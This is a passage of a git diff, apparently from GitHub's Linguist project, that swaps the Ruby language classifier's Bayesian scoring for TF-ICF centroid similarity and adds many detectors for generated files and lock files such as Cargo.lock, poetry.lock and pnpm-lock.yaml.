+      db['vocabulary'].default_proc = nil
+
+      db['samples'] ||= []
+      filter_vocab_by_freq! db, MIN_DOCUMENT_FREQUENCY
+      sort_vocab! db
+      db['icf'] = inverse_class_freqs db
+      normalize_samples! db
+      db['centroids'] = get_centroids db
+      db.delete 'samples'
+      nil
+    end
+
     # Public: Guess language of data.
     #
     # db        - Hash of classifier tokens database.
@@ -72,19 +100,17 @@ def self.train!(db, language, data)
     #   # => [ 'Ruby', 0.90], ['Python', 0.2], ... ]
     #
     # Returns sorted Array of result pairs. Each pair contains the
-    # String language name and a Float score.
+    # String language name and a Float score between 0.0 and 1.0.
     def self.classify(db, tokens, languages = nil)
-      languages ||= db['languages'].keys
+      languages ||= db['centroids'].keys
       new(db).classify(tokens, languages)
     end
 
     # Internal: Initialize a Classifier.
     def initialize(db = {})
-      @tokens_total    = db['tokens_total']
-      @languages_total = db['languages_total']
-      @tokens          = db['tokens']
-      @language_tokens = db['language_tokens']
-      @languages       = db['languages']
+      @vocabulary = db['vocabulary']
+      @centroids  = db['centroids']
+      @icf = db['icf']
     end
 
     # Internal: Guess language of data
@@ -93,65 +119,70 @@ def initialize(db = {})
     # languages - Array of language name Strings to restrict to.
     #
     # Returns sorted Array of result pairs. Each pair contains the
-    # String language name and a Float score.
+    # String language name and a Float score between 0.0 and 1.0.
     def classify(tokens, languages)
-      return [] if tokens.nil?
+      return [] if tokens.nil? || languages.empty?
       tokens = Tokenizer.tokenize(tokens) if tokens.is_a?(String)
-      scores = {}
 
-      debug_dump_all_tokens(tokens, languages) if verbosity >= 2
+      debug_dump_tokens(tokens) if verbosity >= 3
 
-      languages.each do |language|
-        scores[language] = tokens_probability(tokens, language) + language_probability(language)
-        debug_dump_probabilities(tokens, language, scores[language]) if verbosity >= 1
-      end
-
-      scores.sort { |a, b| b[1] <=> a[1] }.map { |score| [score[0], score[1]] }
-    end
-
-    # Internal: Probably of set of tokens in a language occurring - P(D | C)
-    #
-    # tokens   - Array of String tokens.
-    # language - Language to check.
-    #
-    # Returns Float between 0.0 and 1.0.
-    def tokens_probability(tokens, language)
-      tokens.inject(0.0) do |sum, token|
-        sum += Math.log(token_probability(token, language))
+      vec = Classifier.to_vocabulary_index_termfreq_gaps(@vocabulary, tokens)
+      vec.each do |idx, freq|
+        tf = 1.0 + Math.log(freq)
+        vec[idx] = tf * @icf[idx]
       end
-    end
+      return [] if vec.empty?
+      Classifier.l2_normalize!(vec)
 
-    # Internal: Probably of token in language occurring - P(F | C)
-    #
-    # token    - String token.
-    # language - Language to check.
-    #
-    # Returns Float between 0.0 and 1.0.
-    def token_probability(token, language)
-      if @tokens[language][token].to_f == 0.0
-        1 / @tokens_total.to_f
-      else
-        @tokens[language][token].to_f / @language_tokens[language].to_f
+      scores = {}
+      languages.each do |language|
+        centroid = @centroids[language]
+        score = Classifier.similarity(vec, centroid)
+        if score > 0.0
+          scores[language] = score
+        end
       end
-    end
-
-    # Internal: Probably of a language occurring - P(C)
-    #
-    # language - Language to check.
-    #
-    # Returns Float between 0.0 and 1.0.
-    def language_probability(language)
-      Math.log(@languages[language].to_f / @languages_total.to_f)
+      scores = scores.sort_by { |x| -x[1] }
+      debug_dump_all_tokens(tokens, scores) if verbosity >= 2
+      debug_dump_scores(scores) if verbosity >= 1
+      scores
     end
 
     private
+      MIN_DOCUMENT_FREQUENCY = 2
+
       def verbosity
         @verbosity ||= (ENV['LINGUIST_DEBUG'] || 0).to_i
       end
 
-      def debug_dump_probabilities(tokens, language, score)
-        printf("%10s = %10.3f + %7.3f = %10.3f\n",
-            language, tokens_probability(tokens, language), language_probability(language), score)
+      def debug_dump_scores(scores)
+        headers = ["Language", "Score"]
+        rows = scores.map { |l, s| [l, "%.3f" % s] }
+        dump_table(headers, rows)
+      end
+
+      def debug_dump_tokens(tokens)
+        counts = Hash.new(0)
+        tokens.each do |tok|
+          idx = @vocabulary[tok]
+          if not idx.nil?
+            counts[tok] += 1
+          end
+        end
+
+        norm = Classifier.l2_norm(counts)
+        rows = counts.map do |tok, tf|
+          idx = @vocabulary[tok]
+          log_tf = 1.0 + Math.log(tf)
+          with_icf = log_tf * @icf[idx]
+          normalized = with_icf / norm
+          row = [tok, tf, "%.3f" % log_tf, "%.3f" % with_icf, "%.3f" % normalized]
+          [normalized, row]
+        end
+
+        headers = ["Token", "TF", "log", "*ICF", "L2"]
+        rows = rows.sort_by { |x| -x[0] }.map { |_, row| row }
+        dump_table(headers, rows)
       end
 
       # Internal: show a table of probabilities for each <token,language> pair.
@@ -159,32 +190,223 @@ def debug_dump_probabilities(tokens, language, score)
       # The number in each table entry is the number of "points" that each
       # token contributes toward the belief that the file under test is a
       # particular language.  Points are additive.
-      #
-      # Points are the number of times a token appears in the file, times
-      # how much more likely (log of probability ratio) that token is to
-      # appear in one language vs. the least-likely language.  Dashes
-      # indicate the least-likely language (and zero points) for each token.
-      def debug_dump_all_tokens(tokens, languages)
-        maxlen = tokens.map { |tok| tok.size }.max
-
-        printf "%#{maxlen}s", ""
-        puts "    #" + languages.map { |lang| sprintf("%10s", lang) }.join
-
-        token_map = Hash.new(0)
-        tokens.each { |tok| token_map[tok] += 1 }
-
-        token_map.sort.each { |tok, count|
-          arr = languages.map { |lang| [lang, token_probability(tok, lang)] }
-          min = arr.map { |a,b| b }.min
-          minlog = Math.log(min)
-          if !arr.inject(true) { |result, n| result && n[1] == arr[0][1] }
-            printf "%#{maxlen}s%5d", tok, count
-
-            puts arr.map { |ent|
-              ent[1] == min ? "         -" : sprintf("%10.3f", count * (Math.log(ent[1]) - minlog))
-            }.join
+      def debug_dump_all_tokens(tokens, scores)
+        languages = scores.map { |l, _| l }
+
+        counts = Hash.new(0)
+        tokens.each do |tok|
+          idx = @vocabulary[tok]
+          if not idx.nil?
+            counts[tok] += 1
           end
-        }
+        end
+
+        data = {}
+        norm = Classifier.l2_norm(counts)
+        languages.each do |language|
+          data[language] = {}
+          counts.each do |tok, tf|
+            idx = @vocabulary[tok]
+            log_tf = 1.0 + Math.log(tf)
+            with_icf = log_tf * @icf[idx]
+            normalized = with_icf / norm
+            data[language][tok] = normalized * @centroids[language][idx].to_f
+          end
+        end
+
+        norm = Classifier.l2_norm(counts)
+        rows = counts.map do |tok, tf|
+          idx = @vocabulary[tok]
+          log_tf = 1.0 + Math.log(tf)
+          with_icf = log_tf * @icf[idx]
+          normalized = with_icf / norm
+          scores = languages.map do |l, _|
+            [l, data[l][tok].to_f]
+          end
+          max_score = scores.to_h.values.max
+          row = [tok] + scores.map do |l, s|
+            if s == max_score
+              "%.4f*" % s
+            elsif s > 0.0
+              "%.4f" % s
+            else
+              "-"
+            end
+          end
+          [normalized, row]
+        end
+        headers = ["Token"] + (0..languages.length-1).map { |lidx| "[#{lidx}]" }
+        rows = rows.sort_by { |x| -x[0] }.map { |_, row| row }
+        legend = languages.each_with_index.map { |l, lidx| "[#{lidx}] = #{l}" }
+        dump_table(headers, rows, legend)
       end
+
+      def dump_table(header, rows, legend = nil)
+        n_cols = header.length
+        rows = rows.map { |r| r.map { |c| c.to_s } }
+        col_widths = (0..n_cols - 1).map do |j|
+          ([header[j].length] + rows.map { |row| row[j].length }).max
+        end
+        sep_line = "| #{(0..n_cols-1).map { |j| "-" * col_widths[j] }.join(" | ")} |"
+        content_width = sep_line.length - 4
+        top_line = "| #{"-" * content_width} |"
+
+        format_row = Proc.new do |row|
+          cells = row.zip(col_widths).map do |cell, width|
+            "%-#{width}s" % cell
+          end
+          "| %s |" % cells.join(" | ")
+        end
+
+        puts top_line
+        puts format_row.call(header)
+        puts sep_line
+        rows.each do |row|
+          puts format_row.call(row)
+        end
+        puts top_line
+        if legend
+          legend.each do |line|
+            puts "| %-#{content_width}s |" % line
+          end
+          puts top_line
+        end
+      end
+
+      def self.to_vocabulary_index_termfreq(vocab, tokens)
+        counts = Hash.new(0)
+        tokens.each do |key|
+          idx = vocab[key]
+          counts[idx] += 1
+        end
+        counts
+      end
+
+      def self.to_vocabulary_index_termfreq_gaps(vocab, tokens)
+        counts = Hash.new(0)
+        tokens.each do |key|
+          if vocab.key? key
+            idx = vocab[key]
+            counts[idx] += 1
+          end
+        end
+        counts
+      end
+
+      def self.l2_norm(vec)
+        norm = vec.values.inject(0.0) { |sum, x| sum + x**2 }
+        Math.sqrt(norm)
+      end
+
+      def self.l2_normalize!(vec)
+        norm = l2_norm(vec)
+        vec.transform_values! do |value|
+          value.to_f / norm
+        end
+        nil
+      end
+
+      def self.similarity(a, b)
+        sum = 0.0
+        a.each_key do |idx|
+          if b.key? idx
+            sum += a[idx] * b[idx]
+          end
+        end
+        sum
+      end
+
+    # Filter vocabulary by minimum document frequency.
+    def self.filter_vocab_by_freq!(db, min_freq)
+      vocabulary = db['vocabulary']
+
+      # Get document frequencies
+      docfreq = Array.new(vocabulary.size, 0)
+      db['samples'].each_value do |samples|
+        samples.each do |sample|
+          sample.each_key do |idx|
+            docfreq[idx] += 1
+          end
+        end
+      end
+
+      vocabulary.select! do |_, idx|
+        docfreq[idx] >= min_freq
+      end
+
+      nil
+    end
+
+    # Sort vocabulary lexicographically.
+    def self.sort_vocab!(db)
+      new_indices = Hash.new { |h,k| h[k] = h.length }
+      db['vocabulary'].sort_by { |x| x[0] }.each do |term, idx|
+        db['vocabulary'][term] = new_indices[idx]
+      end
+      new_indices.default_proc = nil
+
+      db['samples'].transform_values! do |samples|
+        samples.map do |sample|
+          new_sample = {}
+          sample.each do |idx, freq|
+            new_idx = new_indices[idx]
+            if not new_idx.nil?
+              new_sample[new_idx] = freq
+            end
+          end
+          new_sample
+        end
+      end
+    end
+
+    # Compute inverse class frequency (ICF) for every term.
+    def self.inverse_class_freqs(db)
+      icf = Array.new(db['vocabulary'].size, 0)
+      db['samples'].each_value do |samples|
+        terms = Set.new
+        samples.each do |sample|
+          terms |= sample.keys
+        end
+        terms.each do |idx|
+          icf[idx] += 1
+        end
+      end
+      icf.map! do |val|
+        Math.log(db['samples'].size.to_f / val.to_f) + 1
+      end
+      icf
+    end
+
+    def self.normalize_samples!(db)
+      icf = db['icf']
+      db['samples'].each_value do |samples|
+        samples.each do |sample|
+          sample.each do |idx, freq|
+            tf = 1.0 + Math.log(freq)
+            sample[idx] = tf * icf[idx]
+          end
+          l2_normalize! sample
+        end
+      end
+    end
+
+    def self.get_centroids(db)
+      centroids = {}
+      db['samples'].each do |language, samples|
+        centroid = Hash.new(0.0)
+        samples.each do |sample|
+          sample.each do |idx, val|
+            centroid[idx] += val
+          end
+        end
+        centroid.each_key do |idx|
+          centroid[idx] = centroid[idx] / samples.length
+        end
+        l2_normalize! centroid
+        centroids[language] = centroid
+      end
+      centroids
+    end
+
   end
 end
diff --git a/lib/linguist/documentation.yml b/lib/linguist/documentation.yml
index 230cd423cb..39a188e584 100644
--- a/lib/linguist/documentation.yml
+++ b/lib/linguist/documentation.yml
@@ -9,14 +9,18 @@
 
 ## Documentation directories ##
 
-- ^docs?/
+- ^[Dd]ocs?/
 - (^|/)[Dd]ocumentation/
-- (^|/)javadoc/
-- ^man/
+- (^|/)[Gg]roovydoc/
+- (^|/)[Jj]avadoc/
+- ^[Mm]an/
 - ^[Ee]xamples/
+- ^[Dd]emos?/
+- (^|/)inst/doc/
 
 ## Documentation files ##
 
+- (^|/)CITATION(\.cff|(S)?(\.(bib|md))?)$
 - (^|/)CHANGE(S|LOG)?(\.|$)
 - (^|/)CONTRIBUTING(\.|$)
 - (^|/)COPYING(\.|$)
@@ -27,4 +31,4 @@
 - (^|/)[Rr]eadme(\.|$)
 
 # Samples folders
-- ^[Ss]amples/
+- ^[Ss]amples?/
diff --git a/lib/linguist/file_blob.rb b/lib/linguist/file_blob.rb
index 5f8bc3732f..532a1e0b2e 100644
--- a/lib/linguist/file_blob.rb
+++ b/lib/linguist/file_blob.rb
@@ -23,21 +23,26 @@ def initialize(path, base_path = nil)
     #
     # Returns a String like '100644'
     def mode
-      File.stat(@fullpath).mode.to_s(8)
+      @mode ||= File.stat(@fullpath).mode.to_s(8)
+    end
+
+    def symlink?
+      return @symlink if defined? @symlink
+      @symlink = (File.symlink?(@fullpath) rescue false)
     end
 
     # Public: Read file contents.
     #
     # Returns a String.
     def data
-      File.read(@fullpath)
+      @data ||= File.read(@fullpath, :encoding => "ASCII-8BIT")
     end
 
     # Public: Get byte size
     #
     # Returns an Integer.
     def size
-      File.size(@fullpath)
+      @size ||= File.size(@fullpath)
     end
   end
 end
diff --git a/lib/linguist/generated.rb b/lib/linguist/generated.rb
index 339cca4e8d..539fc7029e 100644
--- a/lib/linguist/generated.rb
+++ b/lib/linguist/generated.rb
@@ -3,7 +3,7 @@ class Generated
     # Public: Is the blob a generated file?
     #
     # name - String filename
-    # data - String blob data. A block also maybe passed in for lazy
+    # data - String blob data. A block also may be passed in for lazy
     #        loading. This behavior is deprecated and you should always
     #        pass in a String.
     #
@@ -52,13 +52,32 @@ def lines
     # Return true or false
     def generated?
       xcode_file? ||
+      intellij_file? ||
+      cocoapods? ||
+      carthage_build? ||
+      generated_graphql_relay? ||
       generated_net_designer_file? ||
       generated_net_specflow_feature_file? ||
       composer_lock? ||
+      cargo_lock? ||
+      cargo_orig? ||
+      deno_lock? ||
+      flake_lock? ||
+      bazel_lock? ||
       node_modules? ||
-      npm_shrinkwrap? ||
+      go_vendor? ||
+      go_lock? ||
+      poetry_lock? ||
+      pdm_lock? ||
+      uv_lock? ||
+      esy_lock? ||
+      npm_shrinkwrap_or_package_lock? ||
+      pnpm_lock? ||
+      terraform_lock? ||
+      generated_yarn_plugnplay? ||
       godeps? ||
       generated_by_zephir? ||
+      htmlcov? ||
       minified_files? ||
       has_source_map? ||
       source_map? ||
@@ -67,16 +86,34 @@ def generated?
       generated_net_docfile? ||
       generated_postscript? ||
       compiled_cython_file? ||
+      pipenv_lock? ||
       generated_go? ||
+      generated_protocol_buffer_from_go? ||
       generated_protocol_buffer? ||
+      generated_javascript_protocol_buffer? ||
       generated_apache_thrift? ||
       generated_jni_header? ||
       vcr_cassette? ||
+      generated_antlr? ||
       generated_module? ||
       generated_unity3d_meta? ||
       generated_racc? ||
       generated_jflex? ||
-      generated_grammarkit?
+      generated_grammarkit? ||
+      generated_roxygen2? ||
+      generated_html? ||
+      generated_jison? ||
+      generated_grpc_cpp? ||
+      generated_dart? ||
+      generated_perl_ppport_header? ||
+      generated_gamemakerstudio? ||
+      generated_gimp? ||
+      generated_visualstudio6? ||
+      generated_haxe? ||
+      generated_jooq? ||
+      generated_pascal_tlb? ||
+      generated_sorbet_rbi? ||
+      generated_sqlx_query?
     end
 
     # Internal: Is the blob an Xcode file?
@@ -84,12 +121,43 @@ def generated?
     # Generated if the file extension is an Xcode
     # file extension.
     #
-    # Returns true of false.
+    # Returns true or false.
     def xcode_file?
       ['.nib', '.xcworkspacedata', '.xcuserstate'].include?(extname)
     end
 
-    # Internal: Is the blob minified files?
+    # Internal: Is the blob an IntelliJ IDEA project file?
+    #
+    # JetBrains IDEs generate project files under an `.idea` directory
+    # that are sometimes checked into version control.
+    #
+    # Returns true or false.
+    def intellij_file?
+      !!name.match(/(?:^|\/)\.idea\//)
+    end
+
+    # Internal: Is the blob part of Pods/, which contains dependencies not meant for humans in pull requests.
+    #
+    # Returns true or false.
+    def cocoapods?
+      !!name.match(/(^Pods|\/Pods)\//)
+    end
+
+    # Internal: Is the blob part of Carthage/Build/, which contains dependencies not meant for humans in pull requests.
+    #
+    # Returns true or false.
+    def carthage_build?
+      !!name.match(/(^|\/)Carthage\/Build\//)
+    end
+
+    # Internal: Does extname indicate a filetype which is commonly minified?
+    #
+    # Returns true or false.
+    def maybe_minified?
+      ['.js', '.css'].include? extname.downcase
+    end
+
+    # Internal: Is the blob a minified file?
     #
     # Consider a file minified if the average line length is
     # greater then 110c.
@@ -98,32 +166,29 @@ def xcode_file?
     #
     # Returns true or false.
     def minified_files?
-      return unless ['.js', '.css'].include? extname
-      if lines.any?
+      if maybe_minified? and lines.any?
         (lines.inject(0) { |n, l| n += l.length } / lines.length) > 110
       else
         false
       end
     end
 
-    # Internal: Does the blob contain a source map reference?
+    # Internal: Does the blob contain a source-map reference?
     #
-    # We assume that if one of the last 2 lines starts with a source map
+    # We assume that if one of the last 2 lines starts with a source-map
     # reference, then the current file was generated from other files.
     #
     # We use the last 2 lines because the last line might be empty.
     #
-    # We only handle JavaScript, no CSS support yet.
-    #
     # Returns true or false.
     def has_source_map?
-      return false unless extname.downcase == '.js'
-      lines.last(2).any? { |line| line.start_with?('//# sourceMappingURL') }
+      return false unless maybe_minified?
+      lines.last(2).any? { |l| l.match(/^\/[*\/][\#@] source(?:Mapping)?URL|sourceURL=/) }
     end
 
-    # Internal: Is the blob a generated source map?
+    # Internal: Is the blob a generated source-map?
     #
-    # Source Maps usually have .css.map or .js.map extensions. In case they
+    # Source-maps usually have .css.map or .js.map extensions. In case they
     # are not following the name convention, detect them based on the content.
     #
     # Returns true or false.
@@ -200,7 +265,7 @@ def generated_net_docfile?
     #
     # Returns true or false
     def generated_net_designer_file?
-      name.downcase =~ /\.designer\.cs$/
+      !!name.match(/\.designer\.(cs|vb)$/i)
     end
 
     # Internal: Is this a codegen file for Specflow feature file?
@@ -211,7 +276,7 @@ def generated_net_designer_file?
     #
     # Returns true or false
     def generated_net_specflow_feature_file?
-      name.downcase =~ /\.feature\.cs$/
+      !!name.match(/\.feature\.cs$/i)
     end
 
     # Internal: Is the blob of JS a parser generated by PEG.js?
@@ -238,7 +303,11 @@ def generated_parser?
     #
     # Returns true or false.
     def generated_postscript?
-      return false unless ['.ps', '.eps'].include? extname
+      return false unless ['.ps', '.eps', '.pfa'].include? extname
+
+      # Type 1 and Type 42 fonts converted to PostScript are stored as hex-encoded byte streams; these
+      # streams are always preceded the `eexec` operator (if Type 1), or the `/sfnts` key (if Type 42).
+      return true if data =~ /^\s*(?:currentfile eexec\s+|\/sfnts\s+\[\s<)/
 
       # We analyze the "%%Creator:" comment, which contains the author/generator
       # of the file. If there is one, it should be in one of the first few lines.
@@ -248,47 +317,69 @@ def generated_postscript?
       # Most generators write their version number, while human authors' or companies'
       # names don't contain numbers. So look if the line contains digits. Also
       # look for some special cases without version numbers.
-      return creator =~ /[0-9]/ ||
-        creator.include?("mpage") ||
-        creator.include?("draw") ||
-        creator.include?("ImageMagick")
+      return true if creator =~ /[0-9]|draw|mpage|ImageMagick|inkscape|MATLAB/ ||
+        creator =~ /PCBNEW|pnmtops|\(Unknown\)|Serif Affinity|Filterimage -tops/
+
+      # EAGLE doesn't include a version number when it generates PostScript.
+      # However, it does prepend its name to the document's "%%Title" field.
+      !!creator.include?("EAGLE") and lines[0..4].find {|line| line =~ /^%%Title: EAGLE Drawing /}
     end
 
     def generated_go?
       return false unless extname == '.go'
       return false unless lines.count > 1
 
-      return lines[0].include?("Code generated by")
+      return lines.first(40).any? { |l| l =~ %r{^// Code generated .*} }
+    end
+
+    # Internal: Is the blob a protocol buffer file generated by the
+    # go-to-protobuf tool?
+    #
+    # Returns true or false
+    def generated_protocol_buffer_from_go?
+      return false unless extname == '.proto'
+      return false unless lines.count > 1
+
+      return lines.first(20).any? { |l| l.include? "This file was autogenerated by go-to-protobuf" }
     end
 
-    PROTOBUF_EXTENSIONS = ['.py', '.java', '.h', '.cc', '.cpp']
+    PROTOBUF_EXTENSIONS = ['.py', '.java', '.h', '.cc', '.cpp', '.m', '.rb', '.php']
 
     # Internal: Is the blob a C++, Java or Python source file generated by the
     # Protocol Buffer compiler?
     #
-    # Returns true of false.
+    # Returns true or false.
     def generated_protocol_buffer?
       return false unless PROTOBUF_EXTENSIONS.include?(extname)
       return false unless lines.count > 1
 
-      return lines[0].include?("Generated by the protocol buffer compiler.  DO NOT EDIT!")
+      return lines.first(3).any? { |l| l.include?("Generated by the protocol buffer compiler.  DO NOT EDIT!") }
     end
 
-    APACHE_THRIFT_EXTENSIONS = ['.rb', '.py', '.go', '.js', '.m', '.java', '.h', '.cc', '.cpp']
+    # Internal: Is the blob a Javascript source file generated by the
+    # Protocol Buffer compiler?
+    #
+    # Returns true or false.
+    def generated_javascript_protocol_buffer?
+      return false unless extname == ".js"
+      return false unless lines.count > 6
+
+      return lines[5].include?("GENERATED CODE -- DO NOT EDIT!")
+    end
+
+    APACHE_THRIFT_EXTENSIONS = ['.rb', '.py', '.go', '.js', '.m', '.java', '.h', '.cc', '.cpp', '.php']
 
     # Internal: Is the blob generated by Apache Thrift compiler?
     #
     # Returns true or false
     def generated_apache_thrift?
       return false unless APACHE_THRIFT_EXTENSIONS.include?(extname)
-      return false unless lines.count > 1
-
-      return lines[0].include?("Autogenerated by Thrift Compiler") || lines[1].include?("Autogenerated by Thrift Compiler")
+      return lines.first(6).any? { |l| l.include?("Autogenerated by Thrift Compiler") }
     end
 
     # Internal: Is the blob a C/C++ header generated by the Java JNI tool javah?
     #
-    # Returns true of false.
+    # Returns true or false.
     def generated_jni_header?
       return false unless extname == '.h'
       return false unless lines.count > 2
@@ -304,11 +395,75 @@ def node_modules?
       !!name.match(/node_modules\//)
     end
 
-    # Internal: Is the blob a generated npm shrinkwrap file.
+    # Internal: Is the blob part of the Go vendor/ tree,
+    # not meant for humans in pull requests.
+    #
+    # Returns true or false.
+    def go_vendor?
+      !!name.match(/vendor\/((?!-)[-0-9A-Za-z]+(?<!-)\.)+(com|edu|gov|in|me|net|org|fm|io)/)
+    end
+
+    # Internal: Is the blob a generated Go dep or glide lock file?
+    #
+    # Returns true or false.
+    def go_lock?
+      !!name.match(/(Gopkg|glide)\.lock/)
+    end
+
+    # Internal: Is the blob a generated poetry.lock?
+    #
+    # Returns true or false.
+    def poetry_lock?
+      !!name.match(/poetry\.lock/)
+    end
+
+    # Internal: Is the blob a generated pdm.lock?
+    #
+    # Returns true or false.
+    def pdm_lock?
+      !!name.match(/pdm\.lock/)
+    end
+
+    # Internal: Is the blob a generated uv.lock?
+    #
+    # Returns true or false.
+    def uv_lock?
+      !!name.match(/uv\.lock/)
+    end
+
+    # Internal: Is the blob a generated esy lock file?
+    #
+    # Returns true or false.
+    def esy_lock?
+      !!name.match(/(^|\/)(\w+\.)?esy.lock$/)
+    end
+
+    # Internal: Is the blob a generated deno lockfile, which are not meant for humans in pull requests.
+    #
+    # Returns true or false.
+    def deno_lock?
+      !!name.match(/deno\.lock/)
+    end
+
+    # Internal: Is the blob a generated npm shrinkwrap or package lock file?
     #
     # Returns true or false.
-    def npm_shrinkwrap?
-      !!name.match(/npm-shrinkwrap\.json/)
+    def npm_shrinkwrap_or_package_lock?
+      !!name.match(/npm-shrinkwrap\.json/) || !!name.match(/package-lock\.json/)
+    end
+
+    # Internal: Is the blob a generated pnpm lockfile?
+    #
+    # Returns true or false.
+    def pnpm_lock?
+      !!name.match(/pnpm-lock\.yaml/)
+    end
+
+    # Internal: Is the blob a generated Yarn Plug'n'Play?
+    #
+    # Returns true or false.
+    def generated_yarn_plugnplay?
+      !!name.match(/(^|\/)\.pnp\..*$/)
     end
 
     # Internal: Is the blob part of Godeps/,
@@ -326,13 +481,41 @@ def composer_lock?
       !!name.match(/composer\.lock/)
     end
 
-    # Internal: Is the blob a generated by Zephir
+    # Internal: Is the blob generated by Zephir?
     #
     # Returns true or false.
     def generated_by_zephir?
       !!name.match(/.\.zep\.(?:c|h|php)$/)
     end
 
+    # Internal: Is the blob a generated Rust Cargo lock file?
+    #
+    # Returns true or false.
+    def cargo_lock?
+      !!name.match(/Cargo\.lock/)
+    end
+
+    # Internal: Is the blob a generated Rust Cargo original file?
+    #
+    # Returns true or false.
+    def cargo_orig?
+      !!name.match(/Cargo\.toml\.orig/)
+    end
+
+    # Internal: Is the blob a generated Nix flakes lock file?
+    #
+    # Returns true or false
+    def flake_lock?
+      !!name.match(/(^|\/)flake\.lock$/)
+    end
+
+    # Internal: Is the blob a Bazel generated bzlmod lockfile?
+    #
+    # Returns true or false
+    def bazel_lock?
+      !!name.match(/(^|\/)MODULE\.bazel\.lock$/)
+    end
+
     # Is the blob a VCR Cassette file?
     #
     # Returns true or false
@@ -343,6 +526,15 @@ def vcr_cassette?
       return lines[-2].include?("recorded_with: VCR")
     end
 
+    # Is this a generated ANTLR file?
+    #
+    # Returns true or false
+    def generated_antlr?
+      return false unless extname == '.g'
+      return false unless lines.count > 2
+      return lines[1].include?("generated by Xtest")
+    end
+
     # Internal: Is this a compiled C/C++ file from Cython?
     #
     # Cython-compiled C/C++ files typically contain:
@@ -356,6 +548,20 @@ def compiled_cython_file?
       return lines[0].include?("Generated by Cython")
     end
 
+    # Internal: Is this a Pipenv lock file?
+    #
+    # Returns true or false.
+    def pipenv_lock?
+      !!name.match(/Pipfile\.lock/)
+    end
+
+    # Internal: Is this a Terraform lock file?
+    #
+    # Returns true or false.
+    def terraform_lock?
+      !!name.match(/(?:^|\/)\.terraform\.lock\.hcl$/)
+    end
+
     # Internal: Is it a KiCAD or GFortran module file?
     #
     # KiCAD module files contain:
@@ -366,7 +572,7 @@ def compiled_cython_file?
     # GFORTRAN module version 'x' created from
     # on the first line.
     #
-    # Return true of false
+    # Return true or false
     def generated_module?
       return false unless extname == '.mod'
       return false unless lines.count > 1
@@ -426,5 +632,249 @@ def generated_grammarkit?
       return false unless lines.count > 1
       return lines[0].start_with?("// This is a generated file. Not intended for manual editing.")
     end
+
+    # Internal: Is this a roxygen2-generated file?
+    #
+    # A roxygen2-generated file typically contain:
+    # % Generated by roxygen2: do not edit by hand
+    # on the first line.
+    #
+    # Return true or false
+    def generated_roxygen2?
+      return false unless extname == '.Rd'
+      return false unless lines.count > 1
+
+      return lines[0].include?("% Generated by roxygen2: do not edit by hand")
+    end
+
+    # Internal: Is this a Jison-generated file?
+    #
+    # Jison-generated parsers typically contain:
+    # /* parser generated by jison
+    # on the first line.
+    #
+    # Jison-generated lexers typically contain:
+    # /* generated by jison-lex
+    # on the first line.
+    #
+    # Return true or false
+    def generated_jison?
+      return false unless extname == '.js'
+      return false unless lines.count > 1
+      return lines[0].start_with?("/* parser generated by jison ") ||
+             lines[0].start_with?("/* generated by jison-lex ")
+    end
+
+    # Internal: Is this a protobuf/grpc-generated C++ file?
+    #
+    # A generated file contains:
+    # // Generated by the gRPC C++ plugin.
+    # on the first line.
+    #
+    # Return true or false
+    def generated_grpc_cpp?
+      return false unless %w{.cpp .hpp .h .cc}.include? extname
+      return false unless lines.count > 1
+      return lines[0].start_with?("// Generated by the gRPC")
+    end
+
+    # Internal: Is this a generated Dart file?
+    #
+    # A dart-lang/appengine generated file contains:
+    # // Generated code. Do not modify.
+    # on the first line.
+    #
+    # An owl generated file contains:
+    # // GENERATED CODE - DO NOT MODIFY
+    # on the first line.
+    #
+    # Return true or false
+    def generated_dart?
+      return false unless extname == '.dart'
+      return false unless lines.count > 1
+      return lines.first.downcase =~ /generated code\W{2,3}do not modify/
+    end
+
+    # Internal: Is the file a generated Perl/Pollution/Portability header file?
+    #
+    # Returns true or false.
+    def generated_perl_ppport_header?
+        return false unless name.match(/ppport\.h$/)
+        return false unless lines.count > 10
+        return lines[8].include?("Automatically created by Devel::PPPort")
+    end
+
+    # Internal: Is this a relay-compiler generated graphql file?
+    #
+    # Return true or false
+    def generated_graphql_relay?
+      !!name.match(/__generated__\//)
+    end
+
+    # Internal: Is this a generated Game Maker Studio (2) metadata file?
+    #
+    # Return true or false
+    def generated_gamemakerstudio?
+      return false unless ['.yy', '.yyp'].include? extname
+      return false unless lines.count > 3
+      return lines.first(3).join('').match?(/^\s*[\{\[]/) ||
+             lines[0] =~ /^\d\.\d\.\d.+\|\{/
+    end
+
+    # Internal: Is this a generated GIMP C image file?
+    #
+    # GIMP saves C sources with one of two comment forms:
+    # * `/* GIMP RGB C-Source image dump (<filename>.c) */` (C source export)
+    # * `/*  GIMP header image file format (RGB): <filename>.h  */` (Header export)
+    #
+    # Return true or false
+    def generated_gimp?
+      return false unless ['.c', '.h'].include? extname
+      return false unless lines.count > 0
+      return lines[0].match(/^\/\* GIMP [a-zA-Z0-9\- ]+ C\-Source image dump \(.+?\.c\) \*\//) ||
+             lines[0].match(/^\/\*  GIMP header image file format \([a-zA-Z0-9\- ]+\)\: .+?\.h  \*\//)
+    end
+
+    # Internal: Is this a generated Microsoft Visual Studio 6.0 build file?
+    #
+    # Return true or false
+    def generated_visualstudio6?
+      return false unless extname.downcase == '.dsp'
+      lines.first(3).any? { |l| l.include? '# Microsoft Developer Studio Generated Build File' }
+    end
+
+    HAXE_EXTENSIONS = ['.js', '.py', '.lua', '.cpp', '.h', '.java', '.cs', '.php']
+
+    # Internal: Is this a generated Haxe-generated source file?
+    #
+    # Return true or false
+    def generated_haxe?
+      return false unless HAXE_EXTENSIONS.include?(extname)
+      return lines.first(3).any? { |l| l.include?("Generated by Haxe") }
+    end
+
+    # Internal: Is this a generated HTML file?
+    #
+    # HTML documents generated by authoring tools often include a
+    # a <meta> tag in the header of the form:
+    #
+    #    <meta name="generator" content="DocGen v5.0.1" />
+    #
+    # Return true or false
+    def generated_html?
+      return false unless ['.html', '.htm', '.xhtml'].include? extname.downcase
+      return false unless lines.count > 1
+
+      # Pkgdown
+      return true if lines[0..1].any? do |line|
+        line.match(/<!-- Generated by pkgdown: do not edit by hand -->/)
+      end
+
+      # Mandoc
+      return true if lines.count > 2 && lines[2].start_with?('<!-- This is an automatically generated file.')
+
+      # Doxygen
+      return true if lines[0..30].any? do |line|
+        line.match(/<!--\s+Generated by Doxygen\s+[.0-9]+\s*-->/i)
+      end
+
+      # HTML tag: <meta name="generator" content="…" />
+      matches = lines[0..30].join(' ').scan(/<meta(\s+[^>]++)>/i)
+      return false if matches.empty?
+      return matches.map {|x| extract_html_meta(x) }.any? do |attr|
+        attr["name"].to_s.downcase == 'generator' &&
+        [attr["content"], attr["value"]].any? do |cv|
